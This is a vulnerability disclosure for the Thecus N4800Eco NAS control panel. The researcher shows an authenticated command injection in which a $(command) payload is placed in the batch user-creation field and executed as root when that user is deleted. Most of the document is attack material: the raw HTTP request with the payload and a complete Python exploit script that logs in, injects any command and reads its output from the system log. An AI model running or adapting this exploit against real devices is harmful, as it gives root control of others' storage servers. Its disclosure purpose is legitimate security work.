Thecus N4800Eco Nas Server Control Panel Comand Injection

Command Injection vulnerability that lets attacker for executing command with root privileges.

I have discovered command injection vulnerability on the Thecus N4800Eco Nas Server control panel during penetration test. I could not analyze source code because I didn't have enough time. Hence, I will describe only how vulnerability is detected.

# Description

Firstly, I have tried to add user through Local User Configuration, but server didn't accept special chars such as $)( . Also, user and group could be created using Batch Input option that is under the User and Group Authentication section. I set Batch Content as $(ifconfig),22222,9999 that corresponds to username, password and group name.

Request:

POST /adm/setmain.php?fun=setbatch HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: https://target
Connection: close
Referer: https://target/adm/index.php
Cookie: select_md=0; MYSESSID=*

batch_content=%24(ifconfig)%2C22222%2C9999

So that filtering can be bypassed using Batch Content option for adding malicious payload as username. After the user adding process, I sent second request for deleting $(ifconfig) user and Local User remove succeeds response is returned. However the user was not deleted, it is very interesting to me. I tried to understand what happened and noticed that there is a system log section.

Surprisingly I saw that ifconfig command is executed.

For verifying the command injection vulnerability i tried another command such as id

So there is a comman injection vulnerability that lets to execute command with root privilege. Username parameter seems to vulnerable. It is time to write basic Python script.

import requests
import sys
import urllib3


# To fix SSL error that occurs when script is started.
# 1- Open /etc/ssl/openssl.cnf file
# At the bottom of the file:
# [system_default_sect]
# MinProtocol = TLSv1.2
# CipherString = DEFAULT@SECLEVEL=2
# 2- Set value of MinProtocol as TLSv1.0


def readResult(s, target):
    d = {
        "fun": "setlog",
        "action": "query",
        "params": '[{"start":0,"limit":1,"catagory":"sys","level":"all"}]'
    }
    url = "https://" + target + "/adm/setmain.php"
    resultReq = s.post(url, data=d, verify=False)
    dict = resultReq.text.split()
    print("[+] Reading system log...\n")
    #Set your command output range
    print(dict[5:8])				

def delUser(s, target, command):
    d = {
        "action": "delete",
        "username": "$("+command+")"
    }
    url = "https://" + target + "/adm/setmain.php?fun=setlocaluser"
    delUserReq = s.post(url, data=d, allow_redirects=False, verify=False)

    if 'Local User remove succeeds' in delUserReq.text:
        print('[+] %s command was executed successfully' % command)
    else:
        print('[-] %s command was not executed!' %command)
        sys.exit(1)
    readResult(s, target)

def addUser(s, target, command):
    d = {'batch_content': '%24('+command+')%2C22222%2C9999'}
    url = "https://" + target + "/adm/setmain.php?fun=setbatch"
    addUserReq = s.post(url, data=d, allow_redirects=False, verify=False)

    if 'Users and groups were created successfully.' in addUserReq.text:
        print('[+] Users and groups were created successfully')
    else:
        print('[-] Users and groups were not created')
        sys.exit(1)
    delUser(s, target, command)

def login(target, username, password, command=None):
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    s = requests.Session()
    d = {
        "&eplang": "english",
        "p_pass": password,
        "p_user": username,
        "username": username,
        "pwd": password,
        "action": "login",
        "option": "com_extplorer"
    }
    url = "https://" + target + "/adm/login.php"
    loginReq = s.post(url, data=d, allow_redirects=False, verify=False)

    if '"success":true' in loginReq.text:
        print('[+] Authentication successful')
    elif '"success":false' in loginReq.text:
        print('[-] Authentication failed!')
        sys.exit(1)
    else:
        print('[-] Something went wrong!')
        sys.exit(1)
    addUser(s, target, command)

def main(args):
    if len(args) != 5:
        print("usage: %s targetIp:port username password command" % (args[0]))
        print("Example 192.168.1.13:80 admin admin id")
        sys.exit(1)
    login(target=args[1], username=args[2], password=args[3], command=args[4])


if __name__ == "__main__":
    main(args=sys.argv)

# Author: Metin Yunus Kandemir